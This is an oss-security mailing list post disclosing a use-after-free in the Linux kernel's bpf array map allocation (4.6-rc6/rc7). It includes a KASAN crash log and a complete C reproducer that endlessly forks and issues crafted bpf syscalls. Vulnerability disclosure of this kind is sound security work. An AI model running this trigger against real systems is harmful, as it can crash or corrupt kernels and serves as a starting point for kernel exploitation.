[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 12 May 2016 15:59:11 +0800
From: Marco Grassi <marco.gra@...il.com>
To: oss-security@...ts.openwall.com
Subject: Linux Kernel bpf related UAF
Hi,
the following reproducer will cause a UAF of a previously allocated memory
in bpf.
You can reproduce with linux kernel master, or 4.6-rc6 4.6-rc7 and maybe
other kernel versions.
In the reproducer there is also a log of the UAF with KASAN of the kernel
running on qemu x64
Thanks
Marco
Reproducer C file:
==================
// Linux kernel version: 4.6-rc7 or 4.6-rc6, or linux master (tested
2016/05/12) compiled with KASAN to see the log
// Compile it with gcc -o durr durr.c
// Run it and it will cause the UAF endlessly see qemu logs dmesg/logs
// here there is a example log
/*
[ 228.998319]
==================================================================
[ 228.999029] BUG: KASAN: use-after-free in
pcpu_extend_area_map+0x111/0x130 at addr ffff88006785d47c
[ 228.999833] Read of size 4 by task durr/5570
[ 229.000219]
=============================================================================
[ 229.000943] BUG kmalloc-192 (Tainted: G B ): kasan: bad
access detected
[ 229.001619]
-----------------------------------------------------------------------------
[ 229.001619]
[ 229.002485] INFO: Allocated in 0xbbbbbbbbbbbbbbbb
age=18446720155036662370 cpu=0 pid=0
[ 229.003198] pcpu_mem_zalloc+0x56/0xa0
[ 229.003542] ___slab_alloc.constprop.60+0x3f9/0x440
[ 229.003995] __slab_alloc.constprop.59+0x20/0x40
[ 229.004426] __kmalloc+0x20b/0x240
[ 229.004749] pcpu_mem_zalloc+0x56/0xa0
[ 229.005102] pcpu_create_chunk+0x23/0x490
[ 229.005478] pcpu_alloc+0xa42/0xbc0
[ 229.005806] __alloc_percpu_gfp+0x2c/0x40
[ 229.006179] array_map_alloc+0x52b/0x6e0
[ 229.006548] SyS_bpf+0x6ee/0x1800
[ 229.006868] entry_SYSCALL_64_fastpath+0x1a/0xa4
[ 229.007302] INFO: Freed in 0xffffba5f age=18446738129474796130 cpu=0
pid=0
[ 229.007934] kvfree+0x3b/0x60
[ 229.008220] __slab_free+0x1df/0x2e0
[ 229.008561] kfree+0x176/0x190
[ 229.008847] kvfree+0x3b/0x60
[ 229.009127] pcpu_balance_workfn+0x755/0xe10
[ 229.009527] process_one_work+0x882/0x12d0
[ 229.009905] worker_thread+0xe4/0x1300
[ 229.010251] kthread+0x1fb/0x280
[ 229.010553] ret_from_fork+0x22/0x40
[ 229.010891] INFO: Slab 0xffffea00019e1700 objects=15 used=9
fp=0xffff88006785d048 flags=0x4000000000004080
[ 229.011771] INFO: Object 0xffff88006785d450 @offset=5200
fp=0xbbbbbbbbbbbbbbbb
[ 229.011771]
[ 229.012562] Redzone ffff88006785d448: 00 00 00 00 00 00 00 00
........
[ 229.013356] Object ffff88006785d450: bb bb bb bb bb bb bb bb 00 00 00 00
00 00 00 00 ................
[ 229.014194] Object ffff88006785d460: 58 d4 3c 6b 00 88 ff ff 00 00 20 00
00 00 20 00 X.<k...... ... .
[ 229.015033] Object ffff88006785d470: 00 00 e0 fa ff e8 ff ff 01 00 00 00
00 01 00 00 ................
[ 229.015869] Object ffff88006785d480: 08 80 87 65 00 88 ff ff e0 ff ff ff
0f 00 00 00 ...e............
[ 229.016702] Object ffff88006785d490: 90 d4 85 67 00 88 ff ff 90 d4 85 67
00 88 ff ff ...g.......g....
[ 229.017534] Object ffff88006785d4a0: e0 8a 49 81 ff ff ff ff a8 52 92 67
00 88 ff ff ..I......R.g....
[ 229.018368] Object ffff88006785d4b0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 ................
[ 229.019215] Object ffff88006785d4c0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 ................
[ 229.020056] Object ffff88006785d4d0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 ................
[ 229.020901] Object ffff88006785d4e0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 ................
[ 229.021745] Object ffff88006785d4f0: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 ................
[ 229.022587] Object ffff88006785d500: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 ................
[ 229.023431] Redzone ffff88006785d510: 00 00 00 00 00 00 00 00
........
[ 229.024219] Padding ffff88006785d648: 61 ba ff ff 00 00 00 00
a.......
[ 229.025029] CPU: 0 PID: 5570 Comm: durr Tainted: G B
4.6.0-rc6 #6
[ 229.025681] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 229.026532] 0000000000000000 00000000d3335927 ffff880065e1fb08
ffffffff81b25fb3
[ 229.027250] ffff88006785c000 ffff88006785d450 ffff88006cc02a40
ffffea00019e1700
[ 229.027968] ffff880065e1fb38 ffffffff815282c5 ffff88006cc02a40
ffffea00019e1700
[ 229.028682] Call Trace:
[ 229.028917] [<ffffffff81b25fb3>] dump_stack+0x83/0xb0
[ 229.029389] [<ffffffff815282c5>] print_trailer+0x115/0x1a0
[ 229.029899] [<ffffffff8152d144>] object_err+0x34/0x40
[ 229.030370] [<ffffffff8152f2e6>] kasan_report_error+0x226/0x550
[ 229.030926] [<ffffffff8152e955>] ? kasan_unpoison_shadow+0x35/0x50
[ 229.031498] [<ffffffff8152e9ce>] ? kasan_kmalloc+0x5e/0x70
[ 229.032008] [<ffffffff8152f751>] __asan_report_load4_noabort+0x61/0x70
[ 229.032612] [<ffffffff81496bf1>] ? pcpu_extend_area_map+0x111/0x130
[ 229.033192] [<ffffffff81496bf1>] pcpu_extend_area_map+0x111/0x130
[ 229.033755] [<ffffffff81496f77>] ? pcpu_create_chunk+0x367/0x490
[ 229.034314] [<ffffffff8149734c>] pcpu_alloc+0x2ac/0xbc0
[ 229.034804] [<ffffffff814970a0>] ? pcpu_create_chunk+0x490/0x490
[ 229.035358] [<ffffffff8152e955>] ? kasan_unpoison_shadow+0x35/0x50
[ 229.035929] [<ffffffff81499879>] ? kmalloc_order+0x59/0x70
[ 229.036438] [<ffffffff814998b4>] ? kmalloc_order_trace+0x24/0xa0
[ 229.036994] [<ffffffff8152ad9c>] ? __kmalloc+0x1ec/0x240
[ 229.037486] [<ffffffff81497c8c>] __alloc_percpu_gfp+0x2c/0x40
[ 229.038018] [<ffffffff813e832b>] array_map_alloc+0x52b/0x6e0
[ 229.038543] [<ffffffff813d65ce>] SyS_bpf+0x6ee/0x1800
[ 229.039017] [<ffffffff810dc37d>] ? __do_page_fault+0x1cd/0xb50
[ 229.039558] [<ffffffff813d5ee0>] ? bpf_prog_new_fd+0x30/0x30
[ 229.040083] [<ffffffff810dcda9>] ? trace_do_page_fault+0x79/0x240
[ 229.040649] [<ffffffff82ba1932>] entry_SYSCALL_64_fastpath+0x1a/0xa4
[ 229.041236] Memory state around the buggy address:
[ 229.041678] ffff88006785d300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc
fc fc
[ 229.042331] ffff88006785d380: fc fc fc fc fc fc fc fc fc fc fc fc fc fc
fc fc
[ 229.042992] >ffff88006785d400: fc fc fc fc fc fc fc fc fc fc fc fb fb fb
fb fb
[ 229.043642]
^
[ 229.044286] ffff88006785d480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[ 229.044938] ffff88006785d500: fb fb fb fc fc fc fc fc fc fc fc fc fc fc
fc fc
[ 229.045589]
==================================================================
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#ifndef SYS_mmap
#define SYS_mmap 9
#endif
#ifndef SYS_bpf
#define SYS_bpf 321
#endif
long r[6];
int main(int argc, char **argv)
{
printf("--beginning of program\n");
while(1) {
pid_t pid = fork();
if (pid == 0)
{
// child process
memset(r, -1, sizeof(r));
r[0] = syscall(SYS_mmap, 0x20000000ul, 0xf000ul, 0x3ul, 0x32ul,
0xfffffffffffffffful, 0x0ul);
*(uint32_t*)0x20006eea = (uint32_t)0x6;
*(uint32_t*)0x20006eee = (uint32_t)0x4;
*(uint32_t*)0x20006ef2 = (uint32_t)0x54d1;
*(uint32_t*)0x20006ef6 = (uint32_t)0xc93;
r[5] = syscall(SYS_bpf, 0x0ul, 0x20006eeaul, 0x10ul, 0, 0, 0);
return 0;
}
else if (pid > 0)
{
// parent process
memset(r, -1, sizeof(r));
r[0] = syscall(SYS_mmap, 0x20000000ul, 0xf000ul, 0x3ul, 0x32ul,
0xfffffffffffffffful, 0x0ul);
*(uint32_t*)0x20006eea = (uint32_t)0x6;
*(uint32_t*)0x20006eee = (uint32_t)0x4;
*(uint32_t*)0x20006ef2 = (uint32_t)0x54d1;
*(uint32_t*)0x20006ef6 = (uint32_t)0xc93;
r[5] = syscall(SYS_bpf, 0x0ul, 0x20006eeaul, 0x10ul, 0, 0, 0);
int returnStatus;
waitpid(pid, &returnStatus, 0);
printf("collected child\n");
}
else
{
// fork failed
printf("fork() failed!\n");
return 1;
}
}
printf("--end of program--\n");
return 0;
}
=====================
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
